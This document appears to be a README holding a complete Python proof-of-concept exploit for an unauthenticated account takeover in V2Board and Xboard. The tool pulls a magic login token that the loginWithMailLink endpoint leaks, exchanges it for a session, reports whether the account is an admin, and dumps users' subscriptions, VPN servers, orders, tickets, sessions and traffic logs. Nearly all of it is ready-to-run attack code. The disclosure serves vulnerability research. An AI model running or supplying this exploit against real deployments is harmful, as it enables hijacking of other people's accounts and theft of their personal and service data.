README.md
Rendering markdown...
"""
Xboard / V2Board Unauth Account Takeover PoC
Affected:
- V2Board (v2board/v2board) >= 1.6.1 through 1.7.4 (abandoned)
- Xboard (cedar2025/Xboard) all versions through v0.1.9+
The loginWithMailLink endpoint returns the magic login link directly
in the HTTP response body instead of only sending it by email.
An unauthenticated attacker can take over any account by email,
then dump all accessible user data (subscriptions, VPN servers,
orders, tickets, sessions, etc).
The bug originates in V2Board and was inherited by Xboard via fork.
Requirements:
- login_with_mail_link_enable enabled in admin settings
- Target email belongs to a registered user
Usage:
python3 poc.py http://localhost:7001 [email protected]
python3 poc.py http://localhost:7001 [email protected] -o dump.json
"""
import argparse
import json
import logging
import re
import sys
import requests
logging.basicConfig(level=logging.INFO, format="[%(levelname)s] %(message)s")
log = logging.getLogger(__name__)
BANNER = """
Xboard / V2Board - Unauth Account Takeover
Magic Link Token Leak (CVE-2026-39912) | by Choc
V2Board >= 1.6.1 | Xboard <= 0.1.9+
45 min from git clone to is_admin: true
"""
DUMP_ENDPOINTS = [
("User Info", "api/v1/user/info"),
("Subscription", "api/v1/user/getSubscribe"),
("Servers", "api/v1/user/server/fetch"),
("Orders", "api/v1/user/order/fetch"),
("Tickets", "api/v1/user/ticket/fetch"),
("Invite Codes", "api/v1/user/invite/fetch"),
("Invite Details", "api/v1/user/invite/details"),
("Active Sessions", "api/v1/user/getActiveSession"),
("Stats", "api/v1/user/getStat"),
("Traffic Log", "api/v1/user/stat/getTrafficLog"),
("Knowledge Base", "api/v1/user/knowledge/fetch"),
("Notices", "api/v1/user/notice/fetch"),
]
class Xboard:
def __init__(self, base: str):
self.base = base.rstrip("/")
self.session = requests.Session()
self.token = None
def _get(self, path: str) -> dict:
r = self.session.get(
f"{self.base}/{path}",
headers={"Authorization": self.token} if self.token else {},
)
return r.json()
def takeover(self, email: str) -> dict:
log.info("Requesting magic link for %s", email)
r = self.session.post(
f"{self.base}/api/v1/passport/auth/loginWithMailLink",
json={"email": email},
)
data = r.json()
if data.get("status") != "success" or not data.get("data"):
sys.exit(f"Failed: {data}")
link = data["data"]
log.info("Leaked: %s", link)
match = re.search(r"verify=([a-f0-9]+)", link)
if not match:
sys.exit(f"No verify token in: {link}")
r = self.session.get(
f"{self.base}/api/v1/passport/auth/token2Login",
params={"verify": match.group(1)},
)
auth = r.json().get("data", {})
if not auth.get("auth_data"):
sys.exit(f"Token exchange failed: {r.json()}")
self.token = auth["auth_data"]
log.info("Authenticated (admin=%s)", auth.get("is_admin", False))
return auth
def dump(self) -> dict:
results = {}
for name, endpoint in DUMP_ENDPOINTS:
data = self._get(endpoint)
if data.get("status") == "success" and data.get("data"):
results[name] = data["data"]
log.info("%s: OK", name)
else:
log.info("%s: empty or failed", name)
return results
def main():
parser = argparse.ArgumentParser(description="Xboard Unauth Account Takeover")
parser.add_argument("url", help="Target URL")
parser.add_argument("email", help="Target email")
parser.add_argument("-o", "--output", help="Dump to JSON file")
args = parser.parse_args()
print(BANNER)
xb = Xboard(args.url)
auth = xb.takeover(args.email)
dump = xb.dump()
output = {"auth": auth, "dump": dump}
if args.output:
with open(args.output, "w") as f:
json.dump(output, f, indent=2, ensure_ascii=False)
log.info("Saved to %s", args.output)
else:
print(json.dumps(output, indent=2, ensure_ascii=False))
if __name__ == "__main__":
main()